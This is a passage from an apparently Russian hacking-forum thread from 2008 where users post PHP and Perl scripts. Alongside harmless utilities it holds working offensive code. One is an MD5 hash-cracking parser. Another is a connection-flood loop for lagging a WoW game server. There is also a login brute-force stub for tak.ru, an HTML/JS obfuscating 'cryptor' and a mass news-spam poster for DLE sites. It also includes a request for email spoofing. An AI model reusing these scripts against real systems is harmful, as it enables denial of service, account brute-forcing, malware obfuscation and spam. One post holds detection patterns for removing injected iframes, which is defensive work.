$send.= "Accept-Encoding: deflate, gzip, x-gzip, identify, *;q=0\r\n";
$send.= "Referer: http://md5.xek.cc/index.php\r\n";
$send.= "Proxy-Connection: close\r\n";
$send.= "Content-Length: 46\r\n";
$send.= "Content-Type: application/x-www-form-urlencoded\r\n\r\n";
$send.= "hash=".trim($hash[$x])."&act=find\r\n\r\n\r\n\r\n";
fputs ($sock, $send);
while (!feof($sock))
{
@$str.= fgets ($sock,1024);
}
$find = preg_match("|(?<=: <b>)(.?)+(?=<\/b>)|",$str,$pass);
for ($z=0;$z<$find;$z++):
fputs($fp,md5(trim($pass[$z])).":".$pass[$z]."\n");
endfor;
$str=0;
endfor;
fclose ($sock);
fclose ($fp);
?>

Парсер md5.xek.cc хеши берет из файла крякнутые записывает тож в файл в таком виде:
c4ca4238a0b923820dcc509a6f75849b:1

_3lf
29.03.2008, 15:52
Простенький скрипт для собирания прокси листов с различных ресурсов. Ищет на страницах по шаблону ip:рort. В файл надо записать адреса сайтов которые будем парсить.

Например:
http://www.nntime.com/socks/index.php?start=1
http://www.nntime.com/socks/index.php?start=25
http://www.nntime.com/socks/index.php?start=49
http://www.nntime.com/socks/index.php?start=73
http://www.nntime.com/socks/index.php?start=97
http://www.nntime.com/socks/index.php?start=121
http://www.nntime.com/socks/index.php?start=145
http://www.nntime.com/socks/index.php?start=169
http://www.nntime.com/socks/index.php?start=193
http://www.nntime.com/socks/index.php?start=217

Линк на скрипт (http://slil.ru/25631703)

Doom123
29.03.2008, 22:17
* И так представляю вашему вниманию класс который парсит BB коды,
класс отличяется тем что очень прост в плане добовления
новых BB кодов а также его легко переделать для работы с БД.

ИНСТРУКЦИЯ по добовлению новых ББ кодов:
BB код представляет из себя массив содержаший в себе
параметры BB кода.
Пример:
'color' => array (
1 => '<font="$1">$2',
2 => '</font>',
3 => '2',
4 => '[ font=x1 ]x2[ /font ]',
),
Ключ массва это имя BB кода,
ВНИМАНИЕ: ключ должен содержать буквы нижнего регистра(МАЛЕНЬКИЕ)
и цифры.
Ключ со значением 1 - это открытие HTML тэга,
а также вы обозначаете $n значение пришедшие от пользователя
с 1 и далее по возростания где n - число
Пример: в теге <font color="red">str</font> 2 значения пришедших
от пользователя это цвет (red) и строка (str)а значит будет так
<font color"$1">$2</font>.
Далее кдюч 2 - закрываюший тэг(Необязатльное поле)
можете его не указывать если тэг закрытый например тэг <hr>.
3ий ключ в массиве это максимальное количество значений которые
должны прийти от пользователя.
И 4ый ключ это как будет выглидеть BB код а где xn опять же
значения от пользоваетя где n - число от 1 и далее

<?php

/**
* @author @FATAL@
* @copyright 2008
*/

class bbcode
{
public $arrcode = array (
'color' => array (
1 => '<font="$1">$2',
2 => '</font>',
3 => '2',
4 => 'x2',
),
'b' => array (
1 => '<b>$1',
2 => '</b>',
3 => '1',
4 => 'x1'
),
'link' => array (
1 => '<a href="http://$1" target="_blank">$2',
2 => '</a>',
3 => '2',
4 => 'x2'
),
'size' => array (
1 => '<font size="$1">$2',
2 => '</font>',
3 => '2',
4 => 'x2'
),
'hr' => array (
1 => '<hr width="$1">',
2 => '',
3 => '1',
4 => '[hr=x1]'
),
'center' => array (
1 => '<div align="center">$1',
2 => '</div>',
3 => '1',
4 => 'x1'
)
);
public function __construct($BBcodes)
{
$this->BBcod($BBcodes);
}
public function BBcod($BBcodes)
{
preg_match_all('#\[(\w+).*?\]#is', $BBcodes, $pock);

$BBcodes = htmlspecialchars($BBcodes);

for ($x = 0; $x <= count($pock['1']); $x++)
{
$BB = strtolower($pock['1'][$x]);
$str = preg_quote($this->arrcode[$BB]['4'], '#');

if (isset($this->arrcode[$BB]))
{
if (strcasecmp($pock['1'][$x], 'link'))
{
$BBcodes = str_ireplace('http://', '', $BBcodes);
}
for ($i = 0; $i <= $this->arrcode[$BB]['3']; $i++)
{

$str = str_replace('x' . $i, '(.+?)', $str);
}
$str = '#' . $str . '#is';
$BBcodes = preg_replace($str, $this->arrcode[$BB]['1'] . $this->arrcode[$BB]['2'],$BBcodes);
}


}
$this->BBcodes = $BBcodes;

}
public function __destruct()
{
return "Идёт уничтожение";
}
}
?>

Сильно не пинайте.. я старался 2 раза переписывал=)

mr.The
07.04.2008, 22:51
Скрипт грузит сервер WoW. для небольших домашних(в локалке) серверов подходит. загружает проц сервера WoW. (незабываем менять адрес сервера и число в цикле. заливаем на несколько хостов и получаем лаги в игре) ВОЗМОЖНО скрипт доработаю.

<?php
set_time_limit(0);
ob_implicit_flush ();

$ip=gethostbyname('wow.site.com');

echo $ip;

for ($i=0;$i<1000;$i++){
$wows=socket_create(AF_INET,SOCK_STREAM,0);
socket_connect($wows,$ip,3306);
socket_close($wows);

$wows=socket_create(AF_INET,SOCK_STREAM,0);
socket_connect($wows,$ip,3724);
socket_close($wows);
};
?>

НTL
09.04.2008, 10:14
А у ково есть такой скрипт чтобы подменять адрес сайта
Например Я на сайте 1.ru, а в адресной строке будит написано: 2.ru

ZET36
11.04.2008, 01:41
А у ково есть такой скрипт чтобы подменять адрес сайта
Например Я на сайте 1.ru, а в адресной строке будит написано: 2.ru

если ты админ сайта 2.ru то вставь на главной странице код

<frameset rows="100%">
<frame src="http://1.ru" name="frame1">
</frameset>

А так ты ошибся темой ,сдесь выкладывают скрипты, а вопросы по html нужно задавать в http://forum.antichat.ru/thread43254.html

Корвин
11.04.2008, 16:32
кто знает есть скрипт чтобы массово сменить кодировку файлов с windows1251 на utf-8?

Sleep
12.04.2008, 16:34
2Корвин
http://forum.antichat.ru/threadnav65761-1-10.html
не подходит ???

Корвин
15.04.2008, 09:15
кто знает есть скрипт чтобы массово сменить кодировку файлов с windows1251 на utf-8?


да , гуд, а что там с путями к папке, где они там прописываются?


а все разобрался ) сенкс)

ZAMUT
18.04.2008, 22:52
Может кому потребуется, скрипт парсит текущую диру , на мыльники , вообщем пробегается по всем файлам , и результат заносит в mails.txt.


#!/usr/bin/perl
use strict;
my($g,@a,@b,$all,$f);
$g = "*.*";
@a = glob($g);
$all = 0;
open mail,'>mails.txt';
foreach $f (@a)
{
open file, $f;
while(<file>)
{
if ( $_ =~ /(\w+@\w+[^\.]\.\w{2,10})/ ) { unshift (@b,$1."\n"); $all++ } ;
}
close file;
};
print mail "All:$all\n";
print mail @b;
close mail;

satana8920
29.04.2008, 13:29
скрипт криптор
<?
function a($n)
{
$p="OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u'2Md(4*"; //сдесь пишем любой ключ который вам нравится и криптуем своей сигнатурой
$q='';
$e='';
for($l=0;$l<strlen($n);$l++)
{
$o=$n[$l];
$m=strpos($p,$o);
if($m>-1)
{
$z=(($m+1)-1);
if($z==79)
{
$z =0;
}
$q .= $p[$z+1];
} else {
$q.=$o;
}
}
return $q;
}
$file=join('',file('in.html')); //файл который криптуем
$file=str_replace("\r\n",'',$file);
$file=str_replace("\n",'',$file);
$file=a($file);
$decrypt="function decrypt(n){var l,ch,ind,q=\"\",key=\"OD&:x9T6H@fBAC#y_wgloSEb~K [chZei`a5z-{jv!Pk|r1mnYU}qV7/;pF]sXG=ILtQJ0u\'2Md(4*\";for(l=0;l<n.length;l++){ch=n.charAt(l);ind=key.indexOf(ch);i f(ind>-1){if(ind==0){ind =79}q+=key.charAt(ind-1)} else {q+=ch}};document.write(q)}";
$decrypt=urlencode($decrypt);
$decrypt=str_replace('+',' ',$decrypt);
$file=str_replace("'","\'",$file);
$cont="<script>function load(code,dfunc,anticasp){eval(dfunc);decrypt(code );}load('".$file."',unescape('".$decrypt."'));</script>";
$file=fopen('out.htm','w'); //то что получается на выходе
fputs($file,$cont);
fclose($file);
?>

ЗЫ ВСЕ для ачата

NOmeR1
03.05.2008, 23:47
Уф.. Я сёдня потрудился, написал скрипт, который получает все ссылки с сайта.
<?php
$site = 'http://localhost/';
foreach(get_urls($site) as $url) {
echo '<a href="'.$url.'">'.$url.'</a><br>'."\n";
}
function my_sort($array) {
$new_array = array();
foreach($array as $value) {
$new_array[] = $value;
}
return $new_array;
}
function DirnameNormal($url) {
$fulldir = '';
$explode = explode('/', $url);
foreach($explode as $i => $dir) {
if($dir && $i != (count($explode)-1)) {
$fulldir .= $dir.'/';
}
}
return $fulldir;
}
function JoinToSite($url, $site) {
$domain = parse_url($site);
$domain = $domain['scheme'].'://'.$domain['host'];
if($url{0} == '/') {
$link = $domain.$url;
} else if(preg_match('~^http(s)?:~i', $url)) {
if(parse_url($url, PHP_URL_HOST) == parse_url($site, PHP_URL_HOST)) {
$link = $url;
}
} else {
if(!preg_match('~^(ftp(s)?|javascript|mailto):~i', $url)) {
$dirname = DirnameNormal(parse_url($site, PHP_URL_PATH));
$link = $domain.'/'.$dirname.$url;
}
}
return (isset($link) ? $link : false);
}
function GetAllUrlsFromUrl($url, $all_links) {
$first = file_get_contents($url);
preg_match_all('~<a[^>]+href[\x20]?=[\x20\x22\x27]?([^\x20\x22\x27\x3E]+)[\x20\x22\x27]?[^>]*>~i', $first, $second);
$array_urls = array();
foreach($second[1] as $link) {
$link = JoinToSite($link, $url);
if($link !== false && !in_array($link, $all_links)) {
$array_urls[] = $link;
}
}
return ((count($array_urls) > 0) ? $array_urls : false);
}
function get_urls($url, $all_links = array()) {
$get_urls = GetAllUrlsFromUrl($url, $all_links);
if($get_urls) {
if($all_links == array()) {
$all_links[] = $url;
}
$all_links = array_merge($all_links, $get_urls);
foreach($get_urls as $url) {
$GetAllUrls = get_urls($url, $all_links);
return my_sort(array_unique($GetAllUrls));
}
} else {
return $all_links;
}
}
?>
Хочу предупредить, этот скрипт получает контент каждой страницы, так что вы можете сделать большую нагрузку на сайт, который вписали в скрипт. Очень прошу не проверять его на античате.

Doom123
04.05.2008, 00:44
<?php

/**
* @author @FATAL@
* @copyright 2008
*
* Класс для работы с БД через новую библиотеку MySqlI
*
* Пример:
* **************************************************
* $date = '10.5.2008';
* $db = new DB('localhost','root','','mydb');
* $db->mysql_qw('UPDATE `news` SET `date`=?',$date);
* **************************************************
* Клас переделан из старой функции для работы с БД
* Безопасен и без особых наворотов, легко и просто
*/

class DB
{
public function __construct($host,$user,$db_pass,$db)
{
$this->connect = mysqli_connect($host,$user,$db_pass);
mysqli_select_db($this->connect,$db);
}
function mysql_qw()
{
$this->args = func_get_args();
$qwery = $this->mysql_make_qw();
return $result = mysqli_query($this->connect,$qwery);
mysqli_free_result($result);
}

private function mysql_make_qw()
{
$tml = $this->args;
$tml[0] = str_replace('%','%%',$tml[0]);
$tml[0] = str_replace('?','%s',$tml[0]);
foreach ($tml as $i => $v)
{
if (!$i)
{
continue;
}
if (is_int($v))
{
continue;
}
$tml[$i] = "'" . mysqli_escape_string($this->connect,$v) . "'";
}
for ($i = $c = count($tml) - 1; $i < $c + 20; $i++)
{
$tml[$i + 1] = "UNKNOWN_PLACEHOLDER_$i";
return call_user_func_array("sprintf",$tml);
}
}

public function __destruct()
{
mysqli_close($this->connect);
}
}
?>

vizard-06
07.05.2008, 13:38
написал парсер проксей с http://www.nntime.com/ с обходом защиты на js которую ввели там :)

<?
$prox_link=file_get_contents('http://www.nntime.com/');
$peremen_port='';
$prox_res='';
$prox_link=str_replace("\r\n",'',$prox_link);
$prox_link=str_replace("\n",'',$prox_link);
preg_match("/javascript\"\>(.*?)\<\/script\>/i",$prox_link,$peremeni);
$k_ports=preg_match_all("/document\.write\(\"\:\"(.*?)\)\<\/script\>/i",$prox_link,$port);
preg_match_all("/(\d+\.\d+\.\d+\.\d+)\</i",$prox_link,$iiip);
$p_port=explode(';',$peremeni[1]);
for($iii=0;$iii<count($p_port)-1;$iii++) {
$peremen_port.='$'.$p_port[$iii].'; ';
}
eval($peremen_port);
for($iii=0;$iii<$k_ports;$iii++) {
$port_ed=str_replace("+",'.$',$port[1][$iii]);
eval('$port_res=\':\''.$port_ed.';');
$prox_res.=$iiip[1][$iii].$port_res.'<br>';
}
echo $prox_res;
?>

КВР
07.05.2008, 17:33
ifr 1.1 - разделения ифрейм трафика по странам так же статика по странам и загрузок за день

st_load_1.1 - статистика загрузок по странам за день и за все фремя...
http://www.web-defence.ru/ifr 1.1.rar
http://www.web-defence.ru/t_load_1.1.rar

!{ra!{e/\/
10.05.2008, 22:41
Брут ../../tak.ru
Стоит чуть переделать и будет уже хороший брутер

<?php
$tak_login="freetest";
$tak_pass="ANTICHAT";
$packet.="POST /enter.php HTTP/1.0\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/pdf, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Language: ru\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: web.tak.ru\r\n";
$packet.="Content-Length: 52\r\n";
$packet.="Pragma: no-cache\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
$packet.="login=$tak_login&password=$tak_pass&Submit=++OK++&z=enter_form";
$ock=fsockopen("web.tak.ru",80);
fputs($ock,$packet);
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
fclose($ock);
if ((strpos($html,"302 Found"))>0) echo "Пароль правильный";
else echo "Не правильный пароль ";
?>

Ps только в ознакомительных целях

mff
12.05.2008, 01:26
PHP Unzipper v1.1
Часто, нужно кидать через ftp на сервек кучу маленьких файлов, что забирает много времени, плюс обрывы соеденения и т.д.
На много удобнее разархивировать zip-файл на сервере с помощью php!!!

скачать скрипт (http://rapidshare.com/files/132292322/unzipper.zip)

mff
12.05.2008, 01:56
Sypex Dumper Lite - PHP скрипт, с помощью которого можно просто и быстро создать резервную копию (бэкап, дамп) базы данных.

скачать скрипт (http://rapidshare.com/files/132293333/SypexDumperLite_108.zip)

Liar
19.05.2008, 17:23
Что такое Glype Proxy?
Glype Proxy - PHP прокси сервер, который подобно PHProxy позволяет обходить внутрисетевые ограничения путем использования внешнего веб-сервера. Glype Proxy обладает улучшенной поддержкой JavaScript, фильтром для блокировки как определенных веб-сайтов, так и адресов с заданными ключевыми словами, еще одной полезной функцией Glype Proxy является встроенная система кэширования, которая экономит ресурсы сервера, тем самым повышает производительность веб-сайта при малых потреблениях ресурсов системы, даже при работе с видео, аудио и flash. Упрощенная установка скрипта на веб-сервер позволит без знания PHP уже после загрузки на сервер начать использование Glype Proxy, а поддержка "тем" оформления обеспечит возможность быстрого выбора веб-дизайна для веб-прокси.

@@@@@@@@@@@@@@@@@@@@@
нашол у себя на диске думаю пригодится ;)

http://slil.ru/25805320

heks
19.05.2008, 17:53
дата релиза какая ?

КВР
20.05.2008, 20:07
web-defence-ifr.

ifr 1.1 - разделения ифрейм трафика по странам так же статика по странам и загрузок за день
st_load_1.1 - статистика загрузок по странам за день и за все время...
http://www.web-defence.ru/ifr 1.1.rar
http://www.web-defence.ru/t_load_1.1.rar

coo1io
20.05.2008, 22:39
скиньте кто-то пожалуйста скрипт для отпрвки мыла с подменой адреса на пхп
те что указывались ранее не работают
сорри за флуд

-=lebed=-
20.05.2008, 22:51
function send_email($email) // Функция отправки письма
{
$header='From: <you_mail@xxx.xxx>';
$subject="=?windows-1251?b?".base64_encode("название темы")."?=";
$msg="текст сообщения (строка1)\r\n
(строка1)\r\n
(строка...)\r\n
(строкаN)\r\n";
return mail($email, $subject, $msg, $header);
}

coo1io
21.05.2008, 17:59
а можна что-то такое как на http://never-mind.ru/sendmail/ ?

Kaimi
21.05.2008, 18:04
Сойдет?
http://rapidshare.com/files/116525700/sender.php

coo1io
21.05.2008, 18:47
Warning: fread(): supplied argument is not a valid stream resource in /home/tu2.ru/c/co/coolio/htdocs/www/0.php on line 27

Warning: array_unique() [function.array-unique]: The argument should be an array in /home/tu2.ru/c/co/coolio/htdocs/www/0.php on line 47
Рассылка завершена!
Отправлено : 0 Ошибок связи: 0 Плохих email: 0

GrAmOzEkA
24.05.2008, 11:17
Для тех кто зарабатывает на дипозите :)

Скрипт для массового добавления новостей на сайты сделанные на движке DLE:

index.php
<?php

set_magic_quotes_runtime(0);

@set_time_limit(0);

@ini_set('max_execution_time',0);

echo '<title>DLE News Adder Modification QJokeR</title><body bgcolor=ffff99><font size="6">

<font color="#333399">Сайт Для Добавления Новостей QJokeR<a href="?admin">(сайты)</a></font></font><hr><center>';

function lower($text){
return strtolower(strtr($text,'АБВГДЕЁЖЗИЙКЛ МНОПРСТУФХЦЧШЩЬЫЪЭЮЯ','абв деёжзийклмнопрстуфхцчшщь ъэюя'));
}


function getcat($text,$find){
if (!$find){
return 0;
}
$temp=substr($text,0,strpos(lower($text), lower($find)."</option>"));
if ($temp){
$cat=substr($temp,strrpos($temp, '="')+2,2);
if (!preg_match('/^[0-9]+$/i', $cat)) {return substr($cat,0,1);}
return $cat;
}
}


function senddata($post,$host,$cook,$pic){
$data="$post\r\n\r\n";
@$fp= fsockopen($host,80,$err,$errs,50);
if (!$fp) {echo "<b>$host недоступен!</b><br>";return(1);}
$out= "POST /";
if ($pic==2) {$out.="transload.php";} else {$out.="?do=addnews";}
$out.=" HTTP/1.1\r\nHost: $host\r\nCookie: $cook\r\n".
"Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".
strlen($data)."\r\nConnection: close\r\n\r\n$data\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)){
$line .= fread($fp, 1024);
}
fclose($fp);
return $line;
}



function sendnews($host,$mode,$how){
global $img, $title;

$date=time();
$logfile=date("d_m_y",$date);
$logfile.=".txt";
$fplog = fopen($logfile, "a");
fputs ($fplog, $title."\n");

$line=senddata('login_name='.$_POST['login'].'&login_password='.$_POST['pass'].'&login=submit&image.x=0&image.y',$host,0,0);
if ($line!=1) {
if (strpos($line,'К сожалению у вас нет прав для публикации новостей')){
$messege1="Новость НЕ добавлена на $host !";
echo "<b>".$messege1."</b><br>";
fputs ($fplog, $messege1."\n");
return(1);
}
preg_match("|dle_hash=([\d\w]+);|i",$line,$try);
$cat=getcat($line,$_POST['find']);
if (!$cat) {$cat=getcat($line,$_POST['find2']);}
if (!$cat) {$cat=getcat($line,$_POST['find3']);}
if (!$cat) {$cat=getcat($line,$_POST['find4']);}
if (!$cat) {$cat=getcat($line,$_POST['find5']);}
if (!$cat) {$cat=getcat($line,$_POST['find6']);}
if (!$cat) {$cat=getcat($line,$_POST['find7']);}
if (!$cat) {$cat=getcat($line,$_POST['find8']);}
if (!$cat) {$cat=getcat($line,$_POST['find9']);}
if (!$cat) {$cat=getcat($line,$_POST['find10']);}
if (!$cat) {$cat=1;}
if (!$img) {
$story=$_POST['story'];
}else{
$story="".$img."\r\n\r\n".$_POST['story'];
}
$url="".$_POST['link']."";
$send="mod=addnews&catlist[]=$cat&title=".$_POST['title']."&short_story=$story&full_story=";
if (!$mode) {
$send.="$story\r\n\r\n";
}
if ($_POST['link']) {
if (!$how) {
$send.="".$url."<br><br>";
}else{
$send.="".$url."<br><br>";
}
}
$url="Скачать (.$_POST['link2'].)";
if ($_POST['link2']){
if (!$how) {$send.="".$url."<br>";
}else{
$send.="".$url."<br>";}
}

$url="Зеркало №1 (.$_POST['link3'].)";
if ($_POST['link3']){
if (!$how){
$send.="".$url."<br>";
}else{
$send.="".$url."<br>";
}
}

$url="Зеркало №2 (.$_POST['link4'].)";
if ($_POST['link4']){
if (!$how){
$send.="".$url."<br>";
}else{
$send.="".$url."<br>";
}
}

$url="Зеркало №3 (.$_POST['link5'].)";
if ($_POST['link5']){
if (!$how){
$send.="".$url."";
}else{
$send.="".$url."";
}
}

$url="Зеркало №4 (.$_POST['link6'].)";
if ($_POST['link6']){
if (!$how){
$send.="".$url."";
}else{
$send.="".$url."";
}
}

$url="Зеркало №5 (.$_POST['link7'].)";
if ($_POST['link7']){
if (!$how){
$send.="".$url."";
}else{
$send.="".$url."";
}
}

$send.='&allow_comm='.$_POST['allow_comm'].'&allow_main='.$_POST['allow_main'].'&approve='.$_POST['approve'].
'&allow_rating='.$_POST['allow_rating'].'&news_fixed='.$_POST['news_fixed'];
$line=senddata($send,$host,"dle_password=".md5($_POST['pass'])."; member_password=".md5($_POST['pass']).
"; dle_name=".$_POST['login']."; member_name=".$_POST['login']."; dle_hash=$try[1]",0);

if (isset($_GET['debug'])){
echo $line;
}

if (strpos($line,'Ваша новость была успешно добавлена')){
$messege2="Новость успешно добавлена на $host";
echo $messege2;
fputs ($fplog, $messege2."\n");
if ($cat==1){
echo " (Категория по умолчанию)";
}
echo "!<br>";
}
}
fclose ($fplog);
}

if (isset($_POST['text'])){
$w=fopen('sites.php','w');
fwrite($w,stripslashes($_POST['text']));
die ('Сохранено!');
}

if (isset($_GET['admin'])){
$w=fopen('sites.php','r');
die ('<form method=post>
<textarea name=text cols=70 rows=24>'.htmlspecialchars(fread($w,filesize('sites.php')) ).'</textarea><br>
<input type=submit value=Отправить>');
}



if ($_POST['title'] && $_POST['story'] && $_POST['pass'] && $_POST['login']) {
$img=$_POST['pic'];
$title=$_POST['title'];
if ($_POST['imgsh'] && $_POST['pic']){
$img=senddata("url=".$_POST['pic']."&MAX_FILE_SIZE=13145728&optsize=320x320&uploadtype=on&optimage=1", "imageshack.us",0,2);
$img=strstr(strstr($img,'image to friends'),'http:');
$img=substr($img,0,strpos($img,'"/>'));
if ($img){
echo "Картинка залита на ImageShack.us! Ссылка - $img<br><br>";
}else{
$img=$_POST['pic'];
}
}

include('sites.php');
exit;
}
echo '
<form method=post>

Логин \ Пароль:<br><input type="text" name="login" > <input type="password" name="pass" ><br>

Заголовок:<br><input type="text" name="title"><br>

Категория:<br><input type="text" name="find" value="софт"> или <input type="text" name="find2" value="software">

или <input type="text" name="find3" value="warez"> или <input type="text" name="find4" value="программы">

или <input type="text" name="find5" value="soft"> или <input type="text" name="find6" value="софтик"> или <input type="text" name="find7" value="разное">

или <input type="text" name="find8" value="варез"> или <input type="text" name="find9" value="Софт / Soft"> или <input type="text" name="find10" value="новости"><br>Картинка:<br>

<input type="checkbox" name="imgsh" value="1" unchecked> На ImageShack.us<br>

<input type="text" name="pic" size=45><br>Новость:<br><textarea name="story" cols=65 rows=12>
<br>Информация о Софте
Название: Vista Optimizer 4.4.17
Категория: Софт
Год выпуска: 2008
Размер файла: 5,15 МБ
Кол-во партов: 1
Залито на: DepositFiles | letitbit | Vip-file</textarea>

<br>Продолжение Новости:<br><textarea name="link" cols=65 rows=12></textarea>

<br>Ссылка:<br><input type="text" name="link2" size=60><br>

<br>Ссылка:<br><input type="text" name="link3" size=60><br>

<br>Ссылка:<br><input type="text" name="link4" size=60><br>

<br>Ссылка:<br><input type="text" name="link5" size=60><br>

<br>Ссылка:<br><input type="text" name="link6" size=60><br>

<br>Ссылка:<br><input type="text" name="link7" size=60><br>



<input type="checkbox" name="allow_comm" value="1" checked> Разрешить комментарии<br>

<input type="checkbox" name="allow_main" value="1" checked> Публиковать на главной<br>

<input type="checkbox" name="approve" value="1" checked> Опубликовать новость на сайте<br>

<input type="checkbox" name="allow_rating" value="1" checked> Разрешить рейтинг<br>

<input type="checkbox" name="news_fixed" value="1"> Зафиксировать новость<br><br>

<input type=submit value=Отправить>

</form>';

sites.php
<?php



////////// Пример :

// sendnews('Сюда пишем хост(без http://)',0 если в строке

// "полная новость" нада цитировать сообщение из короткой новости, а 1

// если не нада,0 и ссылки закрываются [hide] или 1 и [quote]);

//

sendnews ('1-warez.org',0,1);
sendnews ('13mb.ru',0,1);
sendnews ('1lv.lv',0,1);
sendnews ('4ort.net.ru',0,1);
sendnews ('afil.ru',0,1);
sendnews ('allbest4free.ru',0,1);
sendnews ('allwarez.net',0,1);
sendnews ('apelsinoff.net',0,1);

?>
QJokeR (c)

d_x
24.05.2008, 13:22
Универсальная функция для получения cookies из заголовка ответа сервера. Возвращает строку, которую можно сразу вставлять в заголовок Cookie.

function get_ret_cookie($res)
{
preg_match_all('/Set-Cookie: (.+);/iUs',$res,$cook);
if(!isset($cook[1])) return '';

$cookies=implode('; ',array_unique($cook[1]));
return $cookies;
}

PS. NOmeR1, спасибо за совет)

AkyHa_MaTaTa
24.05.2008, 14:21
Коментируем не нужный ифреймы( те что width height =1,0) и некоторые с обфускачией с покоцаных сайтов:


function remove_kod($file){
if(empty($file){
$text=file_get_contents($file);
$patern[0]="<iframe(.*)WIDTH=(\"|')(1|0|00)((\"|'))(.*)HEIGHT=((\"|'))(1|0|00)((\"|'))(.*)>(.*)</iframe>";
$patern[9]="<iframe(.*)WIDTH=(1|0|00)(.*)HEIGHT=(1|0|00)(.*)>(.*)</iframe>";
$patern[1]="<--oc65-->(.*)<--oc65-->";
$patern[2]="<-- ~ -->(.*)<-- ~ -->";
$patern[3]="<script(.*)>eval\(unescape(.*)\)</script>";
$patern[4]="<script(.*)>document.write\(unescape(.*)\)</script>";
$patern[5]="<script(.*)>(.*)(\n)*(.*)document.write\(String.fromCharCode\( Math.round\((.*)\)\)\)(.*)</script>";
$patern[6]="<script(.*)>((\n)*.*)(\n)?document.write\((.*)\.join\((.*)\)\) (.*)</script>";
$patern[8]="<script(.*)>document.write\(eval\(unescape(.*)\)\)(.*)</script>";
$out =$text;
foreach($patern as $keys){
$out= preg_replace_callback("#($keys)#i", create_function('$matches','return "<!---- $matches[0] --->";'),$out);}
return $out;}}

d_x
24.05.2008, 21:16
Написал класс для работы с http. Поддерживает keep-alive и close соединение и корректно обрабатывает данные, полученные по HTTP/1.1 с Transfer-Encoding: chunked. HTTP/1.0 также работает.
Требуется поддержка функций socket_***.

Код класса с комментариями:
<?php
/* WEBsock class by DX */

class websock
{
/*все переменные private*/
var $sock;
var $connection=0;
var $keepalive=300;
var $request='';
var $browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0';
var $proto='1.0';
var $addr='';
var $success=0;


/*** Конструктор. $addr - адрес или IP сайта, $port - порт. ***/

function websock($addr,$port=80)
{
if(!function_exists('socket_create'))
return;

$this->addr=$addr;

if(!preg_match("/^(\d{1,3}\.){3}\d{1,3}$/",$addr))
$addr=gethostbyname($addr);

if(!$addr) return;

$this->sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);

if(!$this->sock)
return;

if(!socket_connect($this->sock,$addr,$port)) return;
if(!socket_set_nonblock($this->sock)) return;

$this->success=1;
}


/*** Проверка успешности создания сокета и подключения к нему. ***/

function check_success()
{
return $this->success;
}


/*** Запись в сокет. $data - данные для записи в сокет. Возвращает число байт, записанных в сокет. Если $data не указано, то будет записаны заголовки, созданные функцикей get_header() (см. ниже). ***/

function swrite($data='')
{
if(!$data) $data=$this->request;

if(socket_select($r=NULL,$w=array($this->sock),$f=NULL,5)!=1)
return false;

return socket_write($this->sock,$data);
}


/*** Чтение $bytes байт из сокета. Возвращает считанный контент. ***/

function sread($bytes)
{
if(socket_select($r=array($this->sock),$w=NULL,$f=NULL,5)!=1)
return false;

return socket_read($this->sock,$bytes);
}


/*** Чтение из сокета всего доступного содержимого. Эта функция не работает с HTTP/1.1. $stepbytes - сколько байтов считывать за раз. Возвращает считанный контент. ***/

function sreadfull($stepbytes=128)
{
$reading='';

while(($ret=$this->sread($stepbytes))!='')
{
$reading.=$ret;
}

$reading=$this->get_content_headers($reading);

return $reading;
}


/*** Установка типа соединения. $conn==0 - close, $conn==1 - keep-alive; $keepalive - время поддержки соединения. ***/

function set_connection($conn=0,$keepalive=300)
{
$this->connection=$conn==0 ? 0 : 1;
$this->keepalive=$keepalive;
}

function set_proto($proto='1.0') //set 1.0 or 1.1
{
$this->proto=$proto;
}


/*** Универсальная функция чтения из сокета, читает правильно независимо от типа соединения. Возвращает массив: $c[0] - заголовки, $c[1] - содержимое ***/

function http11read($stepbytes=128)
{
$c=$this->sreadfull($stepbytes);

if(strpos($c[0],'Transfer-Encoding: chunked')!==false)
return array($c[0],$this->remove_lengths($c[1]));
else
return $c;
}


/*** Получение cookies из заголовка ответа сервера и представление их в виде, удобном для вставки в заголовок Cookie. ***/
/*** $header - заголовок ответа сервера; $ret==0 - будет возвращена строка для заголовка Cookie, $ret==1 - будет возвращён массив cookies. ***/

function get_cookie($header,$ret=0)
{
preg_match_all('/Set-Cookie: (.+);/iUs',$header,$cook);
if(!isset($cook[1])) return $ret==0 ? '' : array();

$carr=array_unique($cook[1]);

$cookies=implode('; ',$carr);
return $ret==0 ? $cookies : $carr;
}


/*** Обрабатывает страницу с Transfer-encoding: chunked. Возвратит страницу без разбиений. ***/

function remove_lengths($res)
{
$len=1;
$nlen=0;
$curlen=0;
$ret='';

$tmp=explode("\r\n",$res);

foreach($tmp as $line)
{
if($len==1)
{
if($line=="\r\n")
{
$ret.=$line."\r\n";
continue;
}

$nlen=base_convert($line,16,10);
if($nlen==0) continue;
$len=0;
$curlen=0;
continue;
}

$curlen+=strlen($line."\r\n");

$ret.=$line."\r\n";

if($curlen>=$nlen)
{
$len=1;
continue;
}
}

return $ret;
}


/*** Разбивает полученные данные на заголовок и содержимое. $res - весь контент. Возвратит массив: $ret[0] - заголовки, $ret[1] - содержимое. ***/

function get_content_headers($res)
{
$ret=explode("\r\n\r\n",$res,2);
return $ret;
}


/*** Устанавливает виртуальный браузер. ***/

function set_browser($browser='Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0')
{
$this->browser=$browser;
}


/*** Формирует заголовки для записи в сокет. ***/
/*** $service_uri - SERVICE_URI. Например, для http://site.com/aaa/bbb.php это /aaa/bbb.php ***/
/*** $page - страница. Для примера выше это site.com. Если сокет был создан как new websock('site.com'), то страницу можно не указывать. Если же как new websock('1.2.3.4'), то необходимо указывать. ***/
/*** $data - передаваемые скрипту данные (только для POST) ***/
/*** $method - GET/POST и т.д. ***/
/*** $cookie - cookies в виде строки ***/
/*** $ref - Referer ***/
